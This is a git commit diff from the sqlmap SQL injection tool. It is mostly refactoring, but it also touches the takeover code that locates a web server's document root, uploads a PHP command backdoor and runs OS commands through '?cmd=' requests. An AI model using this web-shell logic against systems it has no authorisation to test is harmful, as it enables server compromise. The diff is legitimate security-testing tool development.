Minor bug fixes to --os-shell (altought web backdoor functionality still to be reviewed).

Minor common library code refactoring.
Code cleanup.
Set back the default User-Agent to sqlmap for comparison algorithm reasons.
Updated THANKS.
This commit is contained in:
Bernardo Damele 2009-04-27 23:05:11 +00:00
parent 5121a4dcba
commit 16b4530bbe
35 changed files with 158 additions and 201 deletions

View File

@ -27,6 +27,9 @@ Pierre Chifflier <pollux@debian.org>
for uploading the sqlmap 0.6.2 Debian package to the official Debian for uploading the sqlmap 0.6.2 Debian package to the official Debian
project repository project repository
Ulises U. Cune <ulises2k@gmail.com>
for reporting a bug
Stefano Di Paola <stefano.dipaola@wisec.it> Stefano Di Paola <stefano.dipaola@wisec.it>
for suggesting good features for suggesting good features
@ -80,6 +83,9 @@ Anant Kochhar <anant.kochhar@secureyes.net>
Alexander Kornbrust <ak@red-database-security.com> Alexander Kornbrust <ak@red-database-security.com>
for reporting a couple of bugs for reporting a couple of bugs
Nicolas Krassas <krasn@ans.gr>
for reporting a bug
Guido Landi <lists@keamera.org> Guido Landi <lists@keamera.org>
for the great technical discussions for the great technical discussions
for Microsoft SQL Server 2000 and Microsoft SQL Server 2005 for Microsoft SQL Server 2000 and Microsoft SQL Server 2005

View File

@ -64,7 +64,7 @@ class Magic:
try: try:
magic_close(self.cookie) magic_close(self.cookie)
except Exception, e: except Exception, e:
print "got thig: ", e print "got this:", e
_magic_mime = None _magic_mime = None

View File

@ -54,11 +54,11 @@ class MultipartPostHandler(urllib2.BaseHandler):
v_files = [] v_files = []
v_vars = [] v_vars = []
try: try:
for(key, value) in data.items(): for(key, value) in data.items():
if type(value) == file: if type(value) == file:
v_files.append((key, value)) v_files.append((key, value))
else: else:
v_vars.append((key, value)) v_vars.append((key, value))
except TypeError: except TypeError:
systype, value, traceback = sys.exc_info() systype, value, traceback = sys.exc_info()
raise sqlmapDataException, "not a valid non-string sequence or mapping object", traceback raise sqlmapDataException, "not a valid non-string sequence or mapping object", traceback

View File

@ -27,7 +27,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import re import re
import time import time
from lib.controller.action import action
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import randomInt from lib.core.common import randomInt
from lib.core.common import randomStr from lib.core.common import randomStr
@ -295,9 +294,9 @@ def checkStability():
infoMsg = "testing if the url is stable, wait a few seconds" infoMsg = "testing if the url is stable, wait a few seconds"
logger.info(infoMsg) logger.info(infoMsg)
firstPage, firstHeaders = Request.queryPage(content=True) firstPage, _ = Request.queryPage(content=True)
time.sleep(1) time.sleep(1)
secondPage, secondHeaders = Request.queryPage(content=True) secondPage, _ = Request.queryPage(content=True)
condition = firstPage == secondPage condition = firstPage == secondPage

View File

@ -36,7 +36,6 @@ from lib.core.common import readInput
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.exception import sqlmapConnectionException
from lib.core.exception import sqlmapNotVulnerableException from lib.core.exception import sqlmapNotVulnerableException
from lib.core.session import setInjection from lib.core.session import setInjection
from lib.core.target import createTargetDirs from lib.core.target import createTargetDirs
@ -105,7 +104,6 @@ def start():
logger.info(infoMsg) logger.info(infoMsg)
hostCount = 0 hostCount = 0
receivedCookies = []
cookieStr = "" cookieStr = ""
setCookieAsInjectable = True setCookieAsInjectable = True

View File

@ -33,7 +33,6 @@ from lib.core.data import kb
from lib.core.data import queries from lib.core.data import queries
from lib.core.data import temp from lib.core.data import temp
from lib.core.exception import sqlmapNoneDataException from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapUnsupportedDBMSException
class Agent: class Agent:

View File

@ -141,9 +141,9 @@ def formatDBMSfp(versions=None):
def formatFingerprintString(values, chain=" or "): def formatFingerprintString(values, chain=" or "):
string = "|".join([v for v in values]) strJoin = "|".join([v for v in values])
return string.replace("|", chain) return strJoin.replace("|", chain)
def formatFingerprint(target, info): def formatFingerprint(target, info):
@ -224,73 +224,91 @@ def getHtmlErrorFp():
def getDocRoot(): def getDocRoot():
"""
This method returns the web application document root based on the
detected absolute files paths in the knowledge base.
"""
docRoot = None docRoot = None
if kb.absFilePaths: if kb.os == "Windows":
logMsg = "retrieved the possible injectable " defaultDocRoot = "C:\\Inetput\\wwwroot\\"
logMsg += "file absolute system paths: "
logMsg += "'%s'" % ", ".join(path for path in kb.absFilePaths)
logger.info(logMsg)
else: else:
warnMsg = "unable to retrieve the injectable file " defaultDocRoot = "/var/www/"
warnMsg += "absolute system path"
logger.warn(warnMsg)
for absFilePath in kb.absFilePaths: if kb.absFilePaths:
if conf.path in absFilePath: for absFilePath in kb.absFilePaths:
index = absFilePath.index(conf.path) absFilePathWin = None
docRoot = absFilePath[:index]
break if re.search("([\w]\:[\/\\\\]+)", absFilePath):
absFilePathWin = absFilePath
absFilePath = absFilePath[2:].replace("\\", "/")
absFilePath = os.path.normpath(absFilePath)
if os.path.dirname(conf.path) in absFilePath:
index = absFilePath.index(conf.path)
docRoot = absFilePath[:index]
if absFilePathWin:
docRoot = "C:\\%s" % docRoot.replace("/", "\\")
break
if docRoot: if docRoot:
logMsg = "retrieved the remote web server " infoMsg = "retrieved the web server document root: '%s'" % docRoot
logMsg += "document root: '%s'" % docRoot logger.info(infoMsg)
logger.info(logMsg)
else: else:
warnMsg = "unable to retrieve the remote web server " warnMsg = "unable to retrieve the web server document root"
warnMsg += "document root"
logger.warn(warnMsg) logger.warn(warnMsg)
message = "please provide the web server document root "
message += "[%s]: " % defaultDocRoot
inputDocRoot = readInput(message, default=defaultDocRoot)
if inputDocRoot:
docRoot = inputDocRoot
else:
docRoot = defaultDocRoot
return docRoot return docRoot
def getDirectories(): def getDirs():
"""
This method calls a function that returns the web application document
root and injectable file absolute system path.
@return: a set of paths (document root and absolute system path).
@rtype: C{set}
@todo: replace this function with a site crawling functionality.
"""
directories = set() directories = set()
kb.docRoot = getDocRoot() if kb.os == "Windows":
defaultDir = "C:\\Inetput\\wwwroot\\test\\"
else:
defaultDir = "/var/www/test/"
if kb.docRoot: if kb.absFilePaths:
directories.add(kb.docRoot) infoMsg = "retrieved web server full paths: "
infoMsg += "'%s'" % ", ".join(path for path in kb.absFilePaths)
logger.info(infoMsg)
pagePath = re.search("^/(.*)/", conf.path) for absFilePath in kb.absFilePaths:
directories.add(os.path.dirname(absFilePath))
else:
warnMsg = "unable to retrieve any web server path"
logger.warn(warnMsg)
if kb.docRoot and pagePath: message = "please provide any additional web server full path to try "
pagePath = pagePath.groups()[0] message += "to upload the agent [%s]: " % defaultDir
inputDirs = readInput(message, default=defaultDir)
directories.add("%s/%s" % (kb.docRoot, pagePath)) if inputDirs:
inputDirs = inputDirs.replace(", ", ",")
inputDirs = inputDirs.split(",")
for inputDir in inputDirs:
directories.add(inputDir)
else:
directories.add(defaultDir)
return directories return directories
def filePathToString(filePath): def filePathToString(filePath):
string = filePath.replace("/", "_").replace("\\", "_") strRepl = filePath.replace("/", "_").replace("\\", "_")
string = string.replace(" ", "_").replace(":", "_") strRepl = strRepl.replace(" ", "_").replace(":", "_")
return string return strRepl
def dataToStdout(data): def dataToStdout(data):
@ -326,18 +344,18 @@ def dataToOutFile(data):
return rFilePath return rFilePath
def strToHex(string): def strToHex(inpStr):
""" """
@param string: string to be converted into its hexadecimal value. @param inpStr: inpStr to be converted into its hexadecimal value.
@type string: C{str} @type inpStr: C{str}
@return: the hexadecimal converted string. @return: the hexadecimal converted inpStr.
@rtype: C{str} @rtype: C{str}
""" """
hexStr = "" hexStr = ""
for character in string: for character in inpStr:
if character == "\n": if character == "\n":
character = " " character = " "
@ -457,17 +475,17 @@ def randomStr(length=5, lowercase=False):
return rndStr return rndStr
def sanitizeStr(string): def sanitizeStr(inpStr):
""" """
@param string: string to sanitize: cast to str datatype and replace @param inpStr: inpStr to sanitize: cast to str datatype and replace
newlines with one space and strip carriage returns. newlines with one space and strip carriage returns.
@type string: C{str} @type inpStr: C{str}
@return: sanitized string @return: sanitized inpStr
@rtype: C{str} @rtype: C{str}
""" """
cleanString = str(string) cleanString = str(inpStr)
cleanString = cleanString.replace("\n", " ").replace("\r", "") cleanString = cleanString.replace("\n", " ").replace("\r", "")
return cleanString return cleanString
@ -483,8 +501,8 @@ def checkFile(filename):
raise sqlmapFilePathException, "unable to read file '%s'" % filename raise sqlmapFilePathException, "unable to read file '%s'" % filename
def replaceNewlineTabs(string): def replaceNewlineTabs(inpStr):
replacedString = string.replace("\n", "__NEWLINE__").replace("\t", "__TAB__") replacedString = inpStr.replace("\n", "__NEWLINE__").replace("\t", "__TAB__")
replacedString = replacedString.replace(temp.delimiter, "__DEL__") replacedString = replacedString.replace(temp.delimiter, "__DEL__")
return replacedString return replacedString

View File

@ -23,13 +23,8 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
try: import md5
from hashlib import md5 import sha
from hashlib import sha
except ImportError, _:
import md5
import sha
import struct import struct
import urllib import urllib

View File

@ -24,8 +24,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import sys
from lib.core.settings import PLATFORM from lib.core.settings import PLATFORM
from lib.core.settings import PYVERSION from lib.core.settings import PYVERSION
from lib.core.settings import VERSION from lib.core.settings import VERSION

View File

@ -31,8 +31,6 @@ import logging
import os import os
import re import re
import socket import socket
import sys
import time
import urllib2 import urllib2
import urlparse import urlparse
@ -42,8 +40,6 @@ from lib.core.common import getFileType
from lib.core.common import parseTargetUrl from lib.core.common import parseTargetUrl
from lib.core.common import paths from lib.core.common import paths
from lib.core.common import randomRange from lib.core.common import randomRange
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.common import sanitizeStr from lib.core.common import sanitizeStr
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
@ -60,8 +56,10 @@ from lib.core.optiondict import optDict
from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MYSQL_ALIASES from lib.core.settings import MYSQL_ALIASES
from lib.core.settings import PLATFORM from lib.core.settings import PLATFORM
from lib.core.settings import SITE
from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import SUPPORTED_DBMS
from lib.core.settings import SUPPORTED_OS from lib.core.settings import SUPPORTED_OS
from lib.core.settings import VERSION_STRING
from lib.core.update import update from lib.core.update import update
from lib.parse.configfile import configFileParser from lib.parse.configfile import configFileParser
from lib.parse.queriesfile import queriesParser from lib.parse.queriesfile import queriesParser
@ -600,9 +598,14 @@ def __defaultHTTPUserAgent():
@rtype: C{str} @rtype: C{str}
""" """
return "%s (%s)" % (VERSION_STRING, SITE)
# Firefox 3 running on Ubuntu 9.04 updated at April 2009
#return "Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9"
# Internet Explorer 7.0 running on Windows 2003 Service Pack 2 english # Internet Explorer 7.0 running on Windows 2003 Service Pack 2 english
# updated at March 2009 # updated at March 2009
return "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" #return "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
def __setHTTPUserAgent(): def __setHTTPUserAgent():

View File

@ -25,7 +25,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import logging import logging
import os
import sys import sys

View File

@ -73,8 +73,8 @@ class CompleterNG(rlcompleter.Completer):
matches = [] matches = []
n = len(text) n = len(text)
for list in [ self.namespace ]: for ns in [ self.namespace ]:
for word in list: for word in ns:
if word[:n] == text: if word[:n] == text:
matches.append(word) matches.append(word)

View File

@ -25,17 +25,14 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import os import os
import re
import time import time
from lib.core.common import dataToSessionFile from lib.core.common import dataToSessionFile
from lib.core.common import paramToDict from lib.core.common import paramToDict
from lib.core.common import parseTargetUrl from lib.core.common import parseTargetUrl
from lib.core.common import readInput
from lib.core.convert import urldecode from lib.core.convert import urldecode
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths from lib.core.data import paths
from lib.core.dump import dumper from lib.core.dump import dumper
from lib.core.exception import sqlmapFilePathException from lib.core.exception import sqlmapFilePathException

View File

@ -205,7 +205,7 @@ def __createFile(pathname, data):
fileFP.close() fileFP.close()
def __extractZipFile(tempDir, zipFile, sqlmapNewestVersion): def __extractZipFile(tempDir, zipFile):
# Check if the saved binary file is really a ZIP file # Check if the saved binary file is really a ZIP file
if zipfile.is_zipfile(zipFile): if zipfile.is_zipfile(zipFile):
sqlmapZipFile = zipfile.ZipFile(zipFile) sqlmapZipFile = zipfile.ZipFile(zipFile)
@ -285,13 +285,13 @@ def __updateSqlmap():
tempDir = tempfile.gettempdir() tempDir = tempfile.gettempdir()
zipFile = os.path.join(tempDir, "sqlmap-%s.zip" % sqlmapNewestVersion) zipFile = os.path.join(tempDir, "sqlmap-%s.zip" % sqlmapNewestVersion)
__createFile(zipFile, sqlmapBinaryString) __createFile(zipFile, sqlmapBinaryString)
__extractZipFile(tempDir, zipFile, sqlmapNewestVersion) __extractZipFile(tempDir, zipFile)
# For each file and directory in the temporary directory copy it # For each file and directory in the temporary directory copy it
# to the sqlmap root path and set right permission # to the sqlmap root path and set right permission
# TODO: remove files not needed anymore and all pyc within the # TODO: remove files not needed anymore and all pyc within the
# sqlmap root path in the end # sqlmap root path in the end
for root, dirs, files in os.walk(os.path.join(tempDir, "sqlmap-%s" % sqlmapNewestVersion)): for root, _, files in os.walk(os.path.join(tempDir, "sqlmap-%s" % sqlmapNewestVersion)):
# Just for development release # Just for development release
if '.svn' in root: if '.svn' in root:
continue continue

View File

@ -29,7 +29,6 @@ import re
from xml.sax.handler import ContentHandler from xml.sax.handler import ContentHandler
from lib.core.common import sanitizeStr from lib.core.common import sanitizeStr
from lib.core.data import kb
class FingerprintHandler(ContentHandler): class FingerprintHandler(ContentHandler):

View File

@ -24,8 +24,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import re
from xml.sax import parse from xml.sax import parse
from lib.core.common import checkFile from lib.core.common import checkFile

View File

@ -28,7 +28,6 @@ import re
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import paths
from lib.parse.headers import headersParser from lib.parse.headers import headersParser
from lib.parse.html import htmlParser from lib.parse.html import htmlParser
@ -73,8 +72,11 @@ def parseResponse(page, headers):
# Detect injectable page absolute system path # Detect injectable page absolute system path
# NOTE: this regular expression works if the remote web application # NOTE: this regular expression works if the remote web application
# is written in PHP and debug/error messages are enabled. # is written in PHP and debug/error messages are enabled.
absFilePaths = re.findall(" in <b>(.*?)</b> on line", page, re.I) absFilePathsRegExp = ( " in <b>(.*?)</b> on line", "([\w]\:[\/\\\\]+)" )
for absFilePath in absFilePaths: for absFilePathRegExp in absFilePathsRegExp:
if absFilePath not in kb.absFilePaths: absFilePaths = re.findall(absFilePathRegExp, page, re.I)
kb.absFilePaths.add(absFilePath)
for absFilePath in absFilePaths:
if absFilePath not in kb.absFilePaths:
kb.absFilePaths.add(absFilePath)

View File

@ -26,7 +26,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import re import re
from lib.core.convert import md5hash
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import logger from lib.core.data import logger
from lib.core.session import setMatchRatio from lib.core.session import setMatchRatio

View File

@ -93,11 +93,11 @@ class Connect:
requestMsg += "?%s" % params requestMsg += "?%s" % params
elif multipart: elif multipart:
multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler) multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler)
conn = multipartOpener.open(url, multipart) conn = multipartOpener.open(url, multipart)
page = conn.read() page = conn.read()
return page return page
else: else:
if conf.parameters.has_key("GET") and not get: if conf.parameters.has_key("GET") and not get:

View File

@ -33,7 +33,6 @@ from lib.core.common import dataToSessionFile
from lib.core.common import expandAsteriskForColumns from lib.core.common import expandAsteriskForColumns
from lib.core.common import parseUnionPage from lib.core.common import parseUnionPage
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.common import replaceNewlineTabs
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger

View File

@ -29,6 +29,7 @@ from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.dump import dumper from lib.core.dump import dumper
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.shell import autoCompletion from lib.core.shell import autoCompletion
from lib.takeover.udf import UDF from lib.takeover.udf import UDF
from lib.takeover.xp_cmdshell import xp_cmdshell from lib.takeover.xp_cmdshell import xp_cmdshell

View File

@ -24,11 +24,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import os
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.session import setDEP from lib.core.session import setDEP

View File

@ -135,14 +135,14 @@ class Metasploit:
def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1): def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
if kb.os == "Windows": if kb.os == "Windows":
os = "windows" opSys = "windows"
else: else:
os = "linux" opSys = "linux"
message = "which %s do you want to use?" % msg message = "which %s do you want to use?" % msg
if lst: if lst:
for num, data in lst[os].items(): for num, data in lst[opSys].items():
description = data[0] description = data[0]
if num > maxValue: if num > maxValue:
@ -174,7 +174,7 @@ class Metasploit:
choice = int(choice) choice = int(choice)
if lst: if lst:
choice = lst[os][choice][1] choice = lst[opSys][choice][1]
return choice return choice

View File

@ -25,7 +25,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import os import os
import sys
import time import time
from subprocess import PIPE from subprocess import PIPE

View File

@ -175,8 +175,9 @@ def __unionTestByNULLBruteforce(comment):
def __unionTestByOrderBy(comment): def __unionTestByOrderBy(comment):
columns = None columns = None
value = None value = None
prevPayload = ""
for count in range(1, 51): for count in range(1, 51):
query = agent.prefixQuery(" ORDER BY %d" % count) query = agent.prefixQuery(" ORDER BY %d" % count)

View File

@ -29,14 +29,11 @@ import time
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import parseUnionPage from lib.core.common import parseUnionPage
from lib.core.common import readInput
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.data import queries from lib.core.data import queries
from lib.core.data import temp from lib.core.data import temp
from lib.core.exception import sqlmapUnsupportedDBMSException
from lib.core.session import setUnion
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
from lib.techniques.inband.union.test import unionTest from lib.techniques.inband.union.test import unionTest
@ -202,7 +199,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
field = expressionFieldsList[0] field = expressionFieldsList[0]
elif kb.dbms == "Oracle": elif kb.dbms == "Oracle":
field = expressionFieldsList field = expressionFieldsList
else: else:
field = None field = None

View File

@ -32,7 +32,6 @@ from lib.core.convert import urlencode
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.exception import sqlmapConnectionException from lib.core.exception import sqlmapConnectionException
from lib.core.exception import sqlmapRegExprException
class Google: class Google:
@ -84,9 +83,9 @@ class Google:
try: try:
conn = self.opener.open("http://www.google.com/ncr") conn = self.opener.open("http://www.google.com/ncr")
headers = conn.info() _ = conn.info()
except urllib2.HTTPError, e: except urllib2.HTTPError, e:
headers = e.info() _ = e.info()
except urllib2.URLError, e: except urllib2.URLError, e:
errMsg = "unable to connect to Google" errMsg = "unable to connect to Google"
raise sqlmapConnectionException, errMsg raise sqlmapConnectionException, errMsg

View File

@ -28,15 +28,11 @@ import os
import time import time
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import dataToOutFile
from lib.core.common import dataToStdout
from lib.core.common import formatDBMSfp from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp from lib.core.common import getHtmlErrorFp
from lib.core.common import getRange from lib.core.common import getRange
from lib.core.common import randomInt
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.convert import urlencode from lib.core.convert import urlencode
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
@ -48,11 +44,9 @@ from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.session import setDbms from lib.core.session import setDbms
from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MSSQL_SYSTEM_DBS from lib.core.settings import MSSQL_SYSTEM_DBS
from lib.core.shell import autoCompletion
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
from lib.request import inject from lib.request import inject
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
from lib.techniques.outband.stacked import stackedTest
from plugins.generic.enumeration import Enumeration from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem from plugins.generic.filesystem import Filesystem
@ -521,7 +515,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
wFilePointer.close() wFilePointer.close()
if wFileSize < debugSize: if wFileSize < debugSize:
chunkName = self.updateBinChunk(wFileContent, dFile, tmpPath) chunkName = self.updateBinChunk(wFileContent, tmpPath)
sFile = "%s\%s" % (tmpPath, dFileName) sFile = "%s\%s" % (tmpPath, dFileName)
logger.debug("moving binary file %s to %s" % (sFile, dFile)) logger.debug("moving binary file %s to %s" % (sFile, dFile))

View File

@ -28,7 +28,6 @@ import os
import re import re
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import fileToStr
from lib.core.common import formatDBMSfp from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp from lib.core.common import getHtmlErrorFp
@ -49,7 +48,6 @@ from lib.request import inject
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
from lib.techniques.inband.union.test import unionTest from lib.techniques.inband.union.test import unionTest
from lib.techniques.inband.union.use import unionUse from lib.techniques.inband.union.use import unionUse
from lib.techniques.outband.stacked import stackedTest
from plugins.generic.enumeration import Enumeration from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem from plugins.generic.filesystem import Filesystem

View File

@ -34,6 +34,7 @@ from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.exception import sqlmapSyntaxException from lib.core.exception import sqlmapSyntaxException
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.session import setDbms from lib.core.session import setDbms
from lib.core.settings import ORACLE_ALIASES from lib.core.settings import ORACLE_ALIASES
from lib.core.settings import ORACLE_SYSTEM_DBS from lib.core.settings import ORACLE_SYSTEM_DBS

View File

@ -48,7 +48,6 @@ from lib.core.settings import PGSQL_SYSTEM_DBS
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
from lib.request import inject from lib.request import inject
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
from lib.techniques.outband.stacked import stackedTest
from plugins.generic.enumeration import Enumeration from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem from plugins.generic.filesystem import Filesystem
@ -302,8 +301,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
def stackedReadFile(self, rFile): def stackedReadFile(self, rFile):
# TODO: write a UDF to retrieve the hexadecimal encoded content of
# the requested file
warnMsg = "binary file read on PostgreSQL is not yet supported, " warnMsg = "binary file read on PostgreSQL is not yet supported, "
warnMsg += "if the requested file is binary, its content will not " warnMsg += "if the requested file is binary, its content will not "
warnMsg += "be retrieved" warnMsg += "be retrieved"

View File

@ -39,7 +39,6 @@ from lib.core.data import temp
from lib.core.dump import dumper from lib.core.dump import dumper
from lib.core.exception import sqlmapMissingMandatoryOptionException from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.exception import sqlmapNoneDataException from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapUndefinedMethod
from lib.core.exception import sqlmapUnsupportedFeatureException from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.session import setOs from lib.core.session import setOs
from lib.core.settings import SQL_STATEMENTS from lib.core.settings import SQL_STATEMENTS
@ -47,7 +46,6 @@ from lib.core.shell import autoCompletion
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
from lib.parse.banner import bannerParser from lib.parse.banner import bannerParser
from lib.request import inject from lib.request import inject
from lib.request.connect import Connect as Request
from lib.techniques.inband.union.test import unionTest from lib.techniques.inband.union.test import unionTest
from lib.techniques.outband.stacked import stackedTest from lib.techniques.outband.stacked import stackedTest
@ -1098,7 +1096,6 @@ class Enumeration:
def sqlQuery(self, query): def sqlQuery(self, query):
output = None output = None
selectQuery = True
sqlType = None sqlType = None
query = urlencode(query, convall=True) query = urlencode(query, convall=True)
@ -1108,9 +1105,6 @@ class Enumeration:
if query.lower().startswith(sqlStatement): if query.lower().startswith(sqlStatement):
sqlType = sqlTitle sqlType = sqlTitle
if sqlTitle != "SQL SELECT statement":
selectQuery = False
break break
message = "do you want to retrieve the SQL statement output? " message = "do you want to retrieve the SQL statement output? "

View File

@ -31,10 +31,8 @@ from lib.core.agent import agent
from lib.core.common import dataToOutFile from lib.core.common import dataToOutFile
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.request import inject from lib.request import inject
from lib.techniques.outband.stacked import stackedTest from lib.techniques.outband.stacked import stackedTest
@ -215,7 +213,7 @@ class Filesystem:
return fcEncodedList return fcEncodedList
def updateBinChunk(self, binaryData, dFile, tmpPath): def updateBinChunk(self, binaryData, tmpPath):
""" """
Called by Microsoft SQL Server plugin to write a binary file on the Called by Microsoft SQL Server plugin to write a binary file on the
back-end DBMS underlying file system back-end DBMS underlying file system

View File

@ -33,7 +33,7 @@ class Fingerprint:
""" """
@staticmethod @staticmethod
def unescape(expression): def unescape(expression, quote=True):
errMsg = "'unescape' method must be defined " errMsg = "'unescape' method must be defined "
errMsg += "into the specific DBMS plugin" errMsg += "into the specific DBMS plugin"
raise sqlmapUndefinedMethod, errMsg raise sqlmapUndefinedMethod, errMsg

View File

@ -24,12 +24,15 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import os
import re import re
from lib.core.common import getDirectories from lib.core.agent import agent
from lib.core.common import fileToStr
from lib.core.common import getDirs
from lib.core.common import getDocRoot
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.convert import urlencode
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
@ -59,13 +62,12 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
def __webBackdoorRunCmd(self, backdoorUrl, cmd): def __webBackdoorRunCmd(self, backdoorUrl, cmd):
"""
TODO: complete review of this code is needed
"""
output = None output = None
cmdUrl = "%s?cmd=%s" % (backdoorUrl, conf.osCmd) if not cmd:
cmd = conf.osCmd
cmdUrl = "%s?cmd=%s" % (backdoorUrl, cmd)
page, _ = Request.getPage(url=cmdUrl, direct=True) page, _ = Request.getPage(url=cmdUrl, direct=True)
output = re.search("<pre>(.+?)</pre>", page, re.I | re.S) output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
@ -79,8 +81,6 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
def __webBackdoorOsShell(self): def __webBackdoorOsShell(self):
""" """
TODO: complete review of this code is needed
This method is used to write a PHP agent (cmd.php) on a writable This method is used to write a PHP agent (cmd.php) on a writable
remote directory within the web server document root. remote directory within the web server document root.
Such agent is written using the INTO OUTFILE MySQL DBMS Such agent is written using the INTO OUTFILE MySQL DBMS
@ -95,42 +95,10 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
ASP, JSP, CGI (Python, Perl, Ruby, Bash). ASP, JSP, CGI (Python, Perl, Ruby, Bash).
""" """
infoMsg = "retrieving web application directories" self.checkDbmsOs()
logger.info(infoMsg)
directories = getDirectories() kb.docRoot = getDocRoot()
directories = getDirs()
if directories:
infoMsg = "retrieved web server directories "
infoMsg += "'%s'" % ", ".join(d for d in directories)
logger.info(infoMsg)
message = "in addition you can provide a list of directories "
message += "absolute path comma separated that you want sqlmap "
message += "to try to upload the agent [/var/www/test]: "
inputDirs = readInput(message, default="/var/www/test")
else:
message = "please provide the web server document root [/var/www]: "
inputDocRoot = readInput(message, default="/var/www")
if inputDocRoot:
kb.docRoot = inputDocRoot
else:
kb.docRoot = "/var/www"
message = "please provide a list of directories absolute path "
message += "comma separated that you want sqlmap to try to "
message += "upload the agent [/var/www/test]: "
inputDirs = readInput(message, default="/var/www/test")
if inputDirs:
inputDirs = inputDirs.replace(", ", ",")
inputDirs = inputDirs.split(",")
for inputDir in inputDirs:
directories.add(inputDir)
else:
directories.add("/var/www/test")
infoMsg = "trying to upload the uploader agent" infoMsg = "trying to upload the uploader agent"
